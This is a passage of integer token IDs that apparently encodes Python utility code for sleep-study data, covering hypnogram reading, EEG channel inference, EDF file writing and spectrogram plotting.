363,
1196,
297,
3454,
29961,
29896,
17531,
565,
7431,
29898,
1220,
15410,
29900,
29962,
13,
4706,
3454,
353,
5519,
1220,
14178,
1022,
2878,
2435,
29918,
262,
1445,
363,
1196,
297,
3454,
29962,
13,
4706,
1018,
29901,
22950,
353,
7442,
29889,
2378,
4197,
20580,
29918,
8977,
29961,
29880,
29962,
363,
301,
297,
7442,
29889,
2378,
29898,
9012,
467,
1579,
8606,
580,
2314,
13,
4706,
5174,
7670,
2392,
408,
321,
29901,
13,
9651,
1596,
877,
14148,
8709,
7408,
297,
934,
1495,
13,
9651,
12020,
321,
13,
13,
1678,
25342,
4464,
1360,
29915,
29880,
4347,
2396,
13,
4706,
396,
10163,
19605,
25402,
2825,
491,
365,
4347,
7047,
515,
8709,
1272,
29889,
990,
13,
4706,
565,
21502,
305,
2435,
29918,
262,
1445,
338,
451,
6213,
29901,
13,
9651,
18116,
29889,
25442,
877,
1022,
2878,
2435,
29918,
262,
1445,
756,
1063,
19056,
29892,
541,
2472,
338,
297,
934,
29892,
674,
367,
17262,
1495,
13,
4706,
1053,
4903,
29889,
300,
929,
29889,
2642,
9643,
408,
382,
29911,
13,
4706,
3876,
353,
382,
29911,
29889,
3166,
1807,
1761,
29898,
9012,
29897,
13,
4706,
396,
591,
1016,
29915,
29873,
2869,
6284,
6088,
372,
408,
372,
338,
9146,
29892,
925,
13,
4706,
396,
5251,
393,
372,
2337,
3743,
278,
1021,
11073,
13,
4706,
8871,
353,
3876,
14352,
29896,
29962,
13,
4706,
22950,
353,
5159,
13,
4706,
363,
2777,
297,
8871,
29901,
13,
9651,
7408,
29918,
710,
353,
2777,
29889,
1131,
1091,
1839,
1990,
2033,
13,
9651,
1018,
29901,
7408,
29918,
22230,
353,
7602,
29918,
8977,
29961,
19190,
29918,
710,
29889,
21064,
580,
29962,
13,
9651,
5174,
7670,
2392,
408,
321,
29901,
13,
18884,
1596,
29898,
29888,
29915,
14148,
8709,
7408,
297,
934,
426,
29882,
1478,
1217,
29918,
1445,
29913,
584,
426,
19190,
29918,
710,
29913,
1495,
13,
18884,
12020,
321,
13,
9651,
14385,
353,
938,
29898,
8758,
29889,
2886,
877,
18984,
2824,
726,
29897,
13,
9651,
565,
14385,
19216,
29941,
29900,
29901,
13,
18884,
12020,
7865,
2392,
29898,
29888,
29915,
18984,
19216,
29941,
29900,
29892,
451,
3806,
29901,
426,
19708,
29913,
1495,
13,
9651,
22950,
29889,
21843,
4197,
19190,
29918,
22230,
14178,
19708,
29897,
13,
4706,
22950,
353,
7442,
29889,
2378,
29898,
303,
1179,
29897,
13,
1678,
1683,
29901,
13,
4706,
12020,
7865,
2392,
877,
4013,
338,
451,
263,
14831,
10163,
29876,
13342,
29901,
6571,
4286,
4830,
29898,
29882,
1478,
1217,
29918,
1445,
876,
13,
308,
13,
1678,
22950,
353,
22950,
29961,
1057,
1022,
2878,
2435,
29962,
13,
1678,
565,
7431,
29898,
303,
1179,
29897,
1360,
29900,
29901,
13,
4706,
1596,
877,
29961,
29956,
25614,
29962,
10163,
29876,
13342,
8363,
5229,
29892,
7431,
1275,
29871,
29900,
1495,
13,
1678,
736,
7442,
29889,
2378,
29898,
303,
1179,
29897,
13,
13,
13,
13,
1753,
10115,
29918,
29872,
387,
29918,
305,
12629,
29898,
305,
29918,
7039,
1125,
13,
1678,
9995,
13,
1678,
910,
740,
20586,
263,
1051,
310,
8242,
2983,
322,
674,
736,
13,
1678,
697,
4565,
284,
29892,
697,
6555,
322,
697,
12954,
7334,
2410,
8242,
29889,
268,
13,
1678,
9995,
13,
268,
13,
1678,
285,
353,
6024,
29923,
11787,
383,
29920,
742,
525,
29923,
11787,
383,
29946,
742,
525,
29923,
11787,
383,
29886,
29920,
742,
525,
29923,
11787,
383,
29886,
29896,
742,
525,
29923,
11787,
383,
29886,
29906,
2033,
13,
1678,
274,
353,
6024,
29923,
11787,
315,
29946,
742,
525,
29923,
11787,
315,
29941,
2033,
13,
1678,
288,
353,
6024,
29923,
11787,
438,
29920,
742,
525,
29923,
11787,
438,
29906,
742,
525,
29923,
11787,
438,
29896,
2033,
13,
268,
13,
1678,
1476,
353,
5159,
13,
13,
1678,
396,
1284,
4565,
284,
8242,
13,
1678,
363,
521,
297,
521,
29918,
7039,
29901,
13,
4706,
565,
738,
4197,
29916,
297,
521,
363,
921,
297,
285,
29962,
1125,
13,
9651,
1476,
29889,
4397,
29898,
305,
29897,
13,
9651,
2867,
13,
1678,
396,
1284,
6555,
8242,
13,
1678,
363,
521,
297,
521,
29918,
7039,
29901,
13,
4706,
565,
738,
4197,
29916,
297,
521,
363,
921,
297,
274,
29962,
1125,
13,
9651,
1476,
29889,
4397,
29898,
305,
29897,
13,
9651,
2867,
13,
1678,
396,
1284,
12954,
7334,
2410,
8242,
13,
1678,
363,
521,
297,
521,
29918,
7039,
29901,
13,
4706,
565,
738,
4197,
29916,
297,
521,
363,
921,
297,
288,
29962,
1125,
13,
9651,
1476,
29889,
4397,
29898,
305,
29897,
13,
9651,
2867,
13,
1678,
736,
1476,
13,
268,
13,
1753,
10115,
29918,
29872,
468,
29918,
305,
12629,
29898,
305,
29918,
7039,
1125,
13,
1678,
9995,
13,
1678,
910,
740,
20586,
263,
1051,
310,
8242,
2983,
322,
674,
736,
13,
1678,
697,
4565,
284,
29892,
697,
6555,
322,
697,
12954,
7334,
2410,
8242,
29889,
268,
13,
1678,
9995,
13,
268,
13,
1678,
321,
468,
353,
6024,
29923,
29949,
29954,
16641,
29907,
742,
525,
29923,
29949,
29954,
11247,
29907,
2033,
13,
1678,
1476,
353,
5159,
13,
13,
1678,
396,
1284,
4565,
284,
8242,
13,
1678,
363,
521,
297,
521,
29918,
7039,
29901,
13,
4706,
565,
738,
4197,
29916,
297,
521,
363,
921,
297,
321,
468,
29962,
1125,
13,
9651,
1476,
29889,
4397,
29898,
305,
29897,
13,
1678,
736,
1476,
13,
13,
1753,
10115,
29918,
331,
29887,
29918,
305,
12629,
29898,
305,
29918,
7039,
1125,
13,
1678,
9995,
13,
1678,
910,
740,
20586,
263,
1051,
310,
8242,
2983,
322,
674,
736,
13,
1678,
697,
4565,
284,
29892,
697,
6555,
322,
697,
12954,
7334,
2410,
8242,
29889,
268,
13,
1678,
9995,
13,
1678,
953,
29887,
353,
6024,
12665,
29966,
5813,
29958,
2033,
13,
1678,
1476,
353,
5159,
13,
13,
1678,
396,
1284,
4565,
284,
8242,
13,
1678,
363,
521,
297,
521,
29918,
7039,
29901,
13,
4706,
565,
738,
4197,
29916,
297,
521,
363,
921,
297,
953,
29887,
29962,
1125,
13,
9651,
1476,
29889,
4397,
29898,
305,
29897,
13,
1678,
736,
1476,
13,
13,
13,
1753,
10163,
1217,
29906,
2230,
29898,
29882,
1478,
1217,
29892,
6923,
29918,
546,
29918,
1022,
2878,
29922,
29896,
1125,
13,
1678,
9995,
13,
1678,
1281,
369,
1372,
263,
10163,
29876,
13342,
2729,
297,
21502,
12168,
964,
278,
3402,
408,
3342,
13,
1678,
491,
5741,
22097,
29901,
1732,
597,
1730,
2634,
262,
29889,
990,
29914,
17059,
29889,
1420,
29937,
7620,
29899,
29882,
1478,
29876,
13342,
13,
1678,
9995,
13,
1678,
10163,
1217,
353,
7442,
29889,
14358,
29898,
29882,
1478,
1217,
29892,
6923,
29918,
546,
29918,
1022,
2878,
29897,
13,
1678,
269,
353,
525,
29930,
18984,
29918,
3471,
426,
1012,
29876,
4286,
4830,
29898,
2435,
29898,
29882,
1478,
1217,
876,
13,
1678,
22950,
353,
6024,
29956,
1296,
742,
525,
29940,
29896,
742,
525,
29940,
29906,
742,
525,
29940,
29941,
742,
525,
1525,
29924,
742,
525,
9986,
2033,
13,
1678,
270,
353,
9657,
29898,
15172,
29898,
303,
1179,
876,
13,
1678,
10163,
1217,
29918,
710,
353,
518,
29881,
29961,
29882,
29962,
363,
298,
297,
10163,
1217,
29962,
13,
268,
13,
1678,
1833,
29918,
19190,
29922,
29882,
1478,
1217,
29918,
710,
29961,
29900,
29962,
13,
268,
13,
1678,
363,
1473,
29892,
7408,
297,
26985,
29898,
29882,
1478,
1217,
29918,
710,
1125,
13,
4706,
565,
7408,
19216,
4230,
29918,
19190,
29901,
13,
9651,
269,
4619,
22372,
1012,
29873,
29912,
1012,
29876,
4286,
4830,
29898,
4230,
29918,
19190,
29892,
1473,
29897,
13,
9651,
1833,
29918,
19190,
29922,
19190,
13,
1678,
269,
4619,
22372,
1012,
29873,
29912,
1012,
29876,
4286,
4830,
29898,
19190,
29892,
1473,
29974,
29896,
29897,
13,
1678,
736,
269,
13,
13,
13,
1753,
2436,
29918,
29882,
1478,
29876,
13342,
29898,
29882,
1478,
1217,
29892,
10422,
29892,
6923,
29918,
546,
29918,
18317,
29922,
29941,
29900,
29892,
29871,
13,
462,
268,
3440,
29922,
8516,
29892,
26556,
29922,
8824,
1125,
13,
1678,
9995,
13,
1678,
16913,
263,
10163,
29876,
13342,
2729,
373,
25495,
639,
21502,
12168,
297,
5741,
22097,
3114,
13,
1678,
313,
347,
29889,
450,
2684,
373,
842,
310,
1269,
8709,
7408,
338,
9732,
630,
297,
931,
2913,
1846,
13,
1678,
910,
3402,
338,
13622,
363,
14238,
10163,
19605,
25402,
408,
372,
4772,
29879,
22363,
537,
29889,
13,
268,
13,
1678,
584,
3207,
10422,
29901,
988,
304,
4078,
278,
848,
13,
1678,
584,
3207,
10163,
1217,
29901,
450,
10163,
29876,
13342,
2845,
408,
1051,
470,
7442,
29889,
2378,
13,
1678,
584,
3207,
6923,
29918,
546,
29918,
1022,
2878,
29901,
1128,
1784,
6923,
1269,
17195,
3743,
13,
1678,
584,
3207,
3440,
29901,
3462,
263,
3440,
304,
278,
6763,
310,
278,
934,
13,
1678,
584,
3207,
26556,
29901,
26556,
934,
29973,
13,
1678,
9995,
13,
1678,
4974,
451,
288,
1028,
493,
29889,
9933,
29898,
9507,
29897,
470,
26556,
29892,
29871,
320,
13,
795,
525,
2283,
2307,
4864,
29892,
694,
26556,
29915,
13,
1678,
10163,
1217,
353,
7442,
29889,
14358,
29898,
29882,
1478,
1217,
29892,
6923,
29918,
546,
29918,
18317,
29897,
13,
1678,
10163,
1217,
29918,
710,
353,
10163,
1217,
29906,
2230,
29898,
29882,
1478,
1217,
29897,
13,
1678,
565,
3440,
338,
451,
6213,
29901,
13,
4706,
3440,
353,
3440,
29889,
6506,
28909,
29876,
742,
11297,
29876,
29930,
1495,
13,
4706,
10163,
1217,
29918,
710,
353,
525,
29930,
29915,
718,
3440,
718,
11297,
29876,
29915,
718,
10163,
1217,
29918,
710,
13,
4706,
10163,
1217,
29918,
710,
353,
10163,
1217,
29918,
710,
29889,
6506,
28909,
29876,
29905,
29876,
742,
11297,
29876,
1495,
13,
1678,
411,
1722,
29898,
9507,
29892,
525,
29893,
1495,
408,
285,
29901,
13,
4706,
285,
29889,
3539,
29898,
29882,
1478,
1217,
29918,
710,
29897,
268,
13,
1678,
736,
5852,
13,
13,
1753,
1375,
3317,
29906,
3137,
29890,
29898,
29881,
1195,
29892,
270,
3317,
29892,
282,
1195,
29892,
282,
3317,
1125,
13,
1678,
9995,
13,
1678,
29436,
278,
1226,
29888,
1375,
29914,
3317,
1819,
304,
19375,
29890,
322,
9210,
313,
29916,
29930,
29885,
29974,
29890,
29897,
13,
1678,
9995,
13,
1678,
19375,
29890,
353,
313,
29886,
3317,
448,
282,
1195,
29897,
847,
313,
29881,
3317,
448,
270,
1195,
29897,
13,
1678,
9210,
353,
282,
3317,
847,
19375,
29890,
448,
270,
3317,
13,
1678,
736,
19375,
29890,
29892,
9210,
13,
13,
1753,
1207,
29918,
6672,
29898,
21695,
8910,
2433,
742,
16867,
29918,
1202,
3245,
2433,
742,
16500,
978,
2433,
742,
13,
18884,
16500,
29918,
1202,
3245,
2433,
742,
16500,
401,
29922,
15516,
21083,
29922,
15516,
13,
18884,
4113,
401,
29922,
15516,
23346,
29922,
15516,
1369,
1256,
29922,
8516,
29892,
12060,
1256,
29922,
6629,
1125,
13,
1678,
9995,
13,
1678,
319,
29703,
740,
304,
1653,
385,
382,
4037,
4839,
313,
29874,
8600,
29897,
393,
13,
1678,
508,
367,
1304,
491,
11451,
287,
29888,
1982,
304,
2767,
278,
1667,
4839,
310,
278,
382,
4037,
13,
1678,
9995,
13,
1678,
565,
451,
29898,
1369,
1256,
338,
6213,
470,
338,
8758,
29898,
2962,
1256,
29892,
12865,
22164,
13,
4706,
18116,
29889,
25442,
877,
21969,
367,
12865,
470,
6213,
29892,
338,
426,
6177,
24335,
1131,
3456,
292,
3588,
12764,
13,
462,
418,
869,
4830,
29898,
1853,
29898,
2962,
1256,
511,
1369,
1256,
876,
13,
4706,
1369,
1256,
353,
2635,
16680,
29889,
5510,
29898,
2962,
1256,
29897,
13,
1678,
565,
451,
313,
29890,
7515,
1256,
1275,
6629,
470,
338,
8758,
29898,
29890,
7515,
1256,
29892,
313,
12673,
29892,
710,
876,
1125,
13,
4706,
18116,
29889,
25442,
877,
21969,
367,
12865,
470,
4069,
29892,
338,
24335,
6571,
12764,
13,
462,
418,
869,
4830,
29898,
1853,
29898,
29890,
7515,
1256,
511,
12060,
1256,
876,
13,
4706,
12060,
1256,
353,
2635,
16680,
29889,
5510,
29898,
29890,
7515,
1256,
29897,
13,
1678,
565,
1369,
1256,
338,
6213,
29901,
29871,
13,
4706,
1286,
353,
12865,
29889,
3707,
580,
13,
4706,
1369,
1256,
353,
12865,
29898,
3707,
29889,
6360,
29892,
1286,
29889,
10874,
29892,
1286,
29889,
3250,
29892,
29871,
13,
462,
632,
1286,
29889,
18721,
29892,
1286,
29889,
1195,
1082,
29892,
1286,
29889,
7496,
29897,
13,
4706,
628,
1286,
13,
1678,
565,
338,
8758,
29898,
29890,
7515,
1256,
29892,
12865,
1125,
29871,
13,
4706,
12060,
1256,
353,
12060,
1256,
29889,
710,
615,
603,
877,
29995,
29881,
1273,
29890,
1273,
29979,
1495,
13,
1678,
1887,
353,
1180,
1338,
580,
13,
1678,
4839,
353,
6571,
13,
1678,
363,
722,
297,
1887,
29901,
13,
4706,
565,
338,
8758,
29898,
2997,
29961,
1707,
1402,
12865,
1125,
13,
9651,
4839,
29961,
1707,
29962,
353,
1887,
29961,
1707,
29962,
13,
4706,
1683,
29901,
13,
9651,
4839,
29961,
1707,
29962,
353,
851,
29898,
2997,
29961,
1707,
2314,
13,
1678,
736,
4839,
13,
13,
1753,
1207,
29918,
25436,
29918,
6672,
29898,
1643,
29892,
9927,
2433,
29884,
29963,
742,
4559,
29918,
10492,
29922,
29906,
29945,
29953,
29892,
29871,
13,
462,
539,
9128,
29918,
1195,
10457,
29906,
29900,
29900,
29892,
9128,
29918,
3317,
29922,
29906,
29900,
29900,
29892,
13436,
29918,
1195,
10457,
29941,
29906,
29955,
29953,
29947,
29892,
13,
462,
539,
13436,
29918,
3317,
29922,
29941,
29906,
29955,
29953,
29955,
29892,
1301,
700,
2265,
2433,
742,
758,
1777,
261,
2433,
29374,
13,
1678,
9995,
13,
1678,
319,
29703,
740,
393,
10017,
263,
7182,
4839,
363,
263,
2183,
7182,
29889,
13,
1678,
910,
508,
367,
1304,
304,
1653,
263,
1051,
310,
7182,
9066,
393,
338,
1304,
491,
29871,
13,
1678,
11451,
287,
29888,
1982,
304,
1653,
385,
1226,
29888,
29889,
2973,
445,
29892,
1422,
23460,
29511,
29871,
13,
1678,
508,
367,
18694,
29889,
13,
268,
13,
1678,
584,
3207,
3858,
29901,
278,
1024,
310,
278,
8242,
13,
1678,
9995,
13,
1678,
7182,
29918,
6672,
353,
11117,
1643,
2396,
3858,
29892,
29871,
13,
1669,
525,
6229,
2673,
2396,
9927,
29892,
29871,
13,
1669,
525,
11249,
29918,
10492,
2396,
4559,
29918,
10492,
29892,
29871,
13,
1669,
525,
14017,
936,
29918,
1195,
2396,
9128,
29918,
1195,
29892,
29871,
13,
1669,
525,
14017,
936,
29918,
3317,
2396,
9128,
29918,
3317,
29892,
29871,
13,
1669,
525,
7501,
2410,
29918,
1195,
2396,
29871,
13436,
29918,
1195,
29892,
29871,
13,
1669,
525,
7501,
2410,
29918,
3317,
2396,
29871,
13436,
29918,
3317,
29892,
29871,
13,
1669,
525,
3286,
700,
2265,
2396,
1301,
700,
2265,
29892,
29871,
13,
1669,
525,
29886,
999,
309,
357,
2396,
758,
1777,
261,
29913,
13,
1678,
736,
7182,
29918,
6672,
13,
13,
13,
1753,
1207,
29918,
25436,
29918,
13662,
29898,
1761,
29918,
974,
29918,
21134,
29892,
9927,
2433,
29884,
29963,
742,
4559,
29918,
10492,
29922,
29906,
29945,
29953,
29892,
29871,
13,
462,
539,
9128,
29918,
1195,
10457,
29906,
29900,
29900,
29892,
9128,
29918,
3317,
29922,
29906,
29900,
29900,
29892,
13436,
29918,
1195,
10457,
29941,
29906,
29955,
29953,
29947,
29892,
13,
462,
539,
13436,
29918,
3317,
29922,
29941,
29906,
29955,
29953,
29955,
29892,
1301,
700,
2265,
2433,
742,
758,
1777,
261,
2433,
29374,
13,
1678,
9995,
13,
1678,
319,
740,
393,
10017,
7182,
9066,
363,
263,
2183,
1051,
310,
8242,
11073,
29889,
13,
1678,
910,
508,
871,
367,
1304,
565,
1269,
8242,
756,
278,
1021,
23460,
10868,
13,
268,
13,
1678,
584,
3207,
1051,
29918,
974,
29918,
21134,
29901,
319,
1051,
411,
11073,
363,
1269,
8242,
29889,
13,
1678,
584,
18280,
29901,
319,
8600,
393,
508,
367,
1304,
491,
11451,
287,
29888,
1982,
304,
2767,
278,
4839,
13,
1678,
9995,
13,
1678,
7182,
29918,
13662,
353,
5159,
13,
1678,
363,
3858,
297,
1051,
29918,
974,
29918,
21134,
29901,
13,
4706,
4839,
353,
1207,
29918,
25436,
29918,
6672,
29898,
1643,
29892,
9927,
29922,
6229,
2673,
29892,
4559,
29918,
10492,
29922,
11249,
29918,
10492,
29892,
29871,
13,
462,
462,
1678,
9128,
29918,
1195,
29922,
14017,
936,
29918,
1195,
29892,
9128,
29918,
3317,
29922,
14017,
936,
29918,
3317,
29892,
13,
462,
462,
1678,
13436,
29918,
1195,
29922,
7501,
2410,
29918,
1195,
29892,
13436,
29918,
3317,
29922,
7501,
2410,
29918,
3317,
29892,
13,
462,
462,
1678,
1301,
700,
2265,
29922,
3286,
700,
2265,
29892,
758,
1777,
261,
29922,
29886,
999,
3955,
29897,
13,
4706,
7182,
29918,
13662,
29889,
4397,
29898,
6672,
29897,
13,
1678,
736,
7182,
29918,
13662,
13,
13,
13,
13,
1753,
2436,
29918,
287,
29888,
29898,
287,
29888,
29918,
1445,
29892,
18470,
29892,
7182,
29918,
13662,
29892,
4839,
29892,
13436,
29922,
8824,
29892,
13,
795,
1959,
29922,
8824,
1125,
13,
1678,
9995,
13,
1678,
14350,
18470,
304,
385,
1226,
29888,
29918,
1445,
29889,
19345,
508,
367,
5759,
373,
278,
11340,
29889,
13,
268,
13,
1678,
584,
3207,
18470,
29901,
450,
18470,
408,
263,
1051,
310,
7049,
470,
263,
29871,
299,
2378,
13,
1678,
584,
3207,
7182,
29918,
13662,
29901,
263,
1051,
411,
697,
7182,
4839,
29898,
8977,
29897,
363,
1269,
7182,
29889,
13,
462,
965,
2823,
11451,
287,
29888,
1982,
29889,
29923,
2176,
10507,
29889,
842,
10140,
284,
7850,
13,
1678,
584,
3207,
4839,
29901,
263,
1667,
4839,
313,
8977,
29897,
363,
278,
382,
4037,
934,
29892,
1074,
29871,
13,
462,
259,
11451,
287,
29888,
1982,
29889,
29923,
2176,
10507,
29889,
842,
7850,
363,
4902,
13,
1678,
584,
3207,
13436,
29901,
3692,
18470,
526,
9132,
13615,
635,
29871,
13,
462,
1678,
470,
297,
9128,
1819,
13,
268,
13,
1678,
584,
18280,
29901,
5852,
565,
9150,
29892,
7700,
565,
5229,
13,
1678,
9995,
13,
1678,
4974,
4839,
338,
6213,
470,
338,
8758,
29898,
6672,
29892,
9657,
511,
320,
13,
4706,
525,
6672,
1818,
367,
21503,
29875,
653,
29915,
13,
1678,
4974,
338,
8758,
29898,
25436,
29918,
13662,
29892,
1051,
511,
320,
13,
4706,
525,
25436,
9066,
1818,
367,
1051,
29915,
13,
1678,
4974,
7431,
29898,
25436,
29918,
13662,
29897,
1360,
2435,
29898,
4530,
1338,
511,
320,
13,
4706,
525,
4530,
1338,
322,
7182,
29918,
13662,
1818,
367,
1021,
3309,
29915,
13,
13,
1678,
302,
29918,
305,
12629,
353,
7431,
29898,
4530,
1338,
29897,
13,
268,
13,
1678,
396,
1423,
1375,
322,
4236,
1819,
13,
1678,
565,
13436,
1360,
5574,
322,
1959,
29901,
13,
4706,
363,
4365,
29892,
269,
1141,
297,
14319,
29898,
4530,
1338,
29892,
25436,
29918,
13662,
1125,
13,
9651,
270,
1195,
29892,
270,
3317,
353,
269,
1141,
1839,
7501,
2410,
29918,
1195,
7464,
269,
1141,
1839,
7501,
2410,
29918,
3317,
2033,
13,
9651,
282,
1195,
29892,
282,
3317,
353,
269,
1141,
1839,
14017,
936,
29918,
1195,
7464,
269,
1141,
1839,
14017,
936,
29918,
3317,
2033,
13,
9651,
521,
29918,
978,
29922,
29879,
1141,
1839,
1643,
2033,
13,
9651,
565,
270,
1195,
29958,
29881,
3317,
29901,
29871,
13,
462,
12183,
29889,
27392,
877,
29912,
6177,
270,
1195,
29958,
29881,
3317,
29892,
6571,
26208,
1118,
674,
1959,
4286,
4830,
1194,
13,
462,
462,
521,
29918,
978,
29892,
270,
1195,
29892,
270,
3317,
876,
13,
462,
270,
1195,
29892,
270,
3317,
353,
270,
3317,
29892,
270,
1195,
13,
462,
4365,
334,
29922,
448,
29896,
13,
9651,
565,
282,
1195,
29958,
29886,
3317,
29901,
29871,
13,
462,
12183,
29889,
27392,
877,
29912,
6177,
282,
1195,
29958,
29886,
3317,
29892,
6571,
26208,
1118,
674,
1959,
4286,
4830,
1194,
13,
462,
462,
29871,
521,
29918,
978,
29892,
282,
1195,
29892,
282,
3317,
876,
13,
462,
282,
1195,
29892,
282,
3317,
353,
282,
3317,
29892,
282,
1195,
13,
462,
4365,
334,
29922,
448,
29896,
13,
9651,
18031,
1195,
29892,
18031,
3317,
353,
4513,
29898,
18816,
29889,
1195,
25739,
4513,
29898,
18816,
29889,
3317,
3101,
13,
9651,
6529,
1195,
353,
4697,
29906,
14017,
29898,
6289,
1195,
29892,
270,
1195,
29892,
270,
3317,
29892,
282,
1195,
29892,
282,
3317,
29897,
13,
9651,
6529,
3317,
353,
4697,
29906,
14017,
29898,
6289,
3317,
29892,
270,
1195,
29892,
270,
3317,
29892,
282,
1195,
29892,
282,
3317,
29897,
13,
9651,
1375,
29918,
5721,
353,
7442,
29889,
6897,
29898,
7501,
29906,
14017,
29898,
29896,
29892,
270,
1195,
29892,
270,
3317,
29892,
282,
1195,
29892,
282,
3317,
876,
13,
9651,
565,
18031,
1195,
29966,
29881,
1195,
29901,
13,
18884,
12183,
29889,
27392,
877,
29912,
6177,
27103,
7182,
9212,
338,
6571,
12764,
13,
462,
18884,
13420,
541,
995,
3464,
338,
24335,
674,
1959,
4286,
4830,
29905,
13,
462,
18884,
313,
305,
29918,
978,
29892,
270,
1195,
29892,
18031,
1195,
876,
13,
18884,
18031,
1195,
353,
1375,
29898,
6289,
1195,
29892,
29871,
29941,
29906,
29955,
29953,
29955,
29897,
13,
18884,
269,
1141,
1839,
7501,
2410,
29918,
1195,
2033,
353,
18031,
1195,
13,
462,
13,
9651,
565,
18031,
3317,
29958,
29881,
3317,
29901,
13,
18884,
12183,
29889,
27392,
877,
29912,
6177,
27103,
7182,
7472,
338,
6571,
12764,
13,
462,
18884,
13420,
541,
995,
3464,
338,
24335,
674,
1959,
4286,
4830,
29905,
13,
462,
18884,
313,
305,
29918,
978,
29892,
270,
3317,
29892,
18031,
3317,
876,
13,
18884,
18031,
3317,
353,
1375,
29898,
6289,
3317,
29892,
29871,
29941,
29906,
29955,
29953,
29955,
29897,
268,
13,
18884,
269,
1141,
1839,
7501,
2410,
29918,
3317,
2033,
353,
18031,
3317,
13,
9651,
565,
6529,
3317,
29899,
1195,
29918,
5721,
29958,
29886,
3317,
29901,
13,
18884,
12183,
29889,
27392,
877,
29912,
6177,
4819,
29891,
275,
1052,
7182,
7472,
338,
6571,
12764,
13,
462,
18884,
13420,
541,
995,
3464,
338,
24335,
674,
1959,
4286,
4830,
29905,
13,
462,
18884,
313,
305,
29918,
978,
29892,
282,
3317,
29892,
6529,
3317,
876,
13,
18884,
269,
1141,
1839,
14017,
936,
29918,
3317,
2033,
353,
6529,
3317,
13,
9651,
565,
6529,
1195,
29974,
1195,
29918,
5721,
29966,
29886,
1195,
29901,
13,
18884,
12183,
29889,
27392,
877,
29912,
6177,
25847,
936,
7182,
9212,
338,
6571,
12764,
13,
462,
18884,
13420,
541,
995,
3464,
338,
24335,
674,
1959,
4286,
4830,
29905,
13,
462,
18884,
313,
305,
29918,
978,
29892,
282,
1195,
29892,
6529,
1195,
876,
13,
18884,
269,
1141,
1839,
14017,
936,
29918,
1195,
2033,
353,
6529,
1195,
13,
462,
13,
1678,
396,
884,
788,
25495,
13,
1678,
25495,
353,
4839,
29889,
657,
877,
6735,
800,
742,
27255,
13,
3986,
13,
1678,
411,
11451,
287,
29888,
1982,
29889,
29923,
2176,
10507,
29898,
287,
29888,
29918,
1445,
29892,
302,
29918,
305,
12629,
29922,
29876,
29918,
305,
12629,
29897,
408,
285,
29901,
259,
13,
4706,
285,
29889,
842,
10140,
284,
18163,
29898,
25436,
29918,
13662,
29897,
13,
4706,
285,
29889,
842,
7850,
29898,
6672,
29897,
13,
4706,
285,
29889,
3539,
29903,
9422,
29898,
4530,
1338,
29892,
13436,
29922,
7501,
2410,
29897,
13,
4706,
363,
17195,
297,
25495,
29901,
13,
9651,
285,
29889,
3539,
21978,
10456,
18317,
29897,
13,
1678,
628,
285,
13,
1678,
736,
2897,
29889,
2084,
29889,
275,
1445,
29898,
287,
29888,
29918,
1445,
29897,
29871,
13,
13,
13,
13,
13,
1753,
1735,
29918,
3733,
279,
537,
29898,
287,
29888,
29918,
1445,
29892,
18196,
29892,
716,
29918,
1445,
29922,
8516,
1125,
13,
1678,
565,
716,
29918,
1445,
338,
6213,
29901,
29871,
13,
4706,
716,
29918,
1445,
353,
2897,
29889,
2084,
29889,
23579,
568,
486,
29898,
287,
29888,
29918,
1445,
9601,
29900,
29962,
718,
22868,
11569,
29889,
287,
29888,
29915,
13,
268,
13,
1678,
565,
338,
8758,
29898,
305,
12629,
29892,
851,
1125,
18196,
11759,
305,
12629,
29962,
13,
1678,
18196,
353,
518,
29883,
29889,
13609,
580,
363,
274,
297,
18196,
29962,
13,
13,
1678,
18470,
29892,
7182,
29918,
13662,
29892,
4839,
353,
1303,
29918,
287,
29888,
29898,
287,
29888,
29918,
1445,
29892,
13436,
29922,
5574,
29897,
13,
1678,
363,
474,
29892,
18816,
297,
26985,
29898,
4530,
1338,
1125,
13,
4706,
1183,
328,
353,
7182,
29918,
13662,
29961,
29875,
29962,
13,
4706,
3858,
353,
7182,
29918,
13662,
29961,
29875,
22322,
1643,
13359,
13609,
580,
13,
4706,
565,
3858,
297,
18196,
29901,
13,
9651,
1596,
877,
262,
369,
1259,
6571,
4286,
4830,
29898,
1643,
876,
13,
9651,
1183,
328,
1839,
14017,
936,
29918,
1195,
2033,
29930,
10457,
29896,
13,
9651,
1183,
328,
1839,
14017,
936,
29918,
3317,
2033,
29930,
10457,
29896,
13,
1678,
2436,
29918,
287,
29888,
29898,
1482,
29918,
1445,
29892,
18470,
29892,
7182,
29918,
13662,
29892,
4839,
29892,
13436,
29922,
5574,
29897,
13,
1678,
7252,
29918,
287,
29888,
29898,
287,
29888,
29918,
1445,
29892,
716,
29918,
1445,
29897,
13,
1678,
13,
268,
13,
268,
13,
1753,
1580,
1393,
29918,
4713,
277,
7202,
29898,
1272,
29892,
18668,
7971,
29892,
269,
546,
10199,
29922,
29941,
29900,
29892,
639,
29883,
29918,
957,
6984,
29922,
29896,
29914,
29941,
29892,
13,
462,
4706,
301,
29888,
7971,
29922,
29900,
29892,
318,
29888,
7971,
29922,
29946,
29900,
29892,
1510,
29918,
5317,
29922,
5574,
29892,
3611,
2433,
742,
4853,
29922,
8516,
1125,
13,
1678,
9995,
13,
1678,
17440,
382,
11787,
6683,
13342,
773,
263,
1773,
277,
7202,
515,
29871,
29900,
29899,
29941,
29900,
379,
29920,
13,
13,
1678,
584,
3207,
848,
29901,
278,
848,
304,
7604,
675,
29892,
881,
367,
310,
7115,
29871,
29896,
13,
1678,
584,
3207,
18668,
7971,
29901,
278,
23460,
10868,
310,
278,
848,
13,
1678,
584,
3207,
269,
546,
10199,
29901,
1353,
310,
6923,
304,
671,
639,
383,
7818,
13,
1678,
584,
3207,
694,
369,
6984,
29901,
19649,
310,
25457,
1546,
24611,
13,
1678,
584,
3207,
301,
29888,
7971,
29901,
27723,
10868,
304,
2479,
13,
1678,
584,
3207,
318,
29888,
7971,
29901,
24929,
10868,
304,
2479,
13,
1678,
584,
3207,
1510,
29918,
5317,
29901,
960,
2089,
29892,
871,
278,
27716,
338,
4133,
29892,
541,
451,
11479,
6496,
13,
1678,
584,
3207,
4853,
29901,
530,
9685,
988,
304,
6492,
29889,
15785,
674,
1653,
263,
716,
11479,
13,
1678,
584,
18280,
29901,
278,
9819,
27716,
408,
372,
723,
367,
715,
15048,
13,
1678,
9995,
13,
268,
13,
1678,
565,
4853,
338,
6213,
29901,
13,
4706,
14770,
29889,
4532,
580,
13,
4706,
4853,
29922,
572,
29873,
29889,
1491,
5317,
29898,
29896,
29892,
29896,
29892,
29896,
29897,
13,
308,
13,
1678,
4974,
338,
8758,
29898,
4294,
29918,
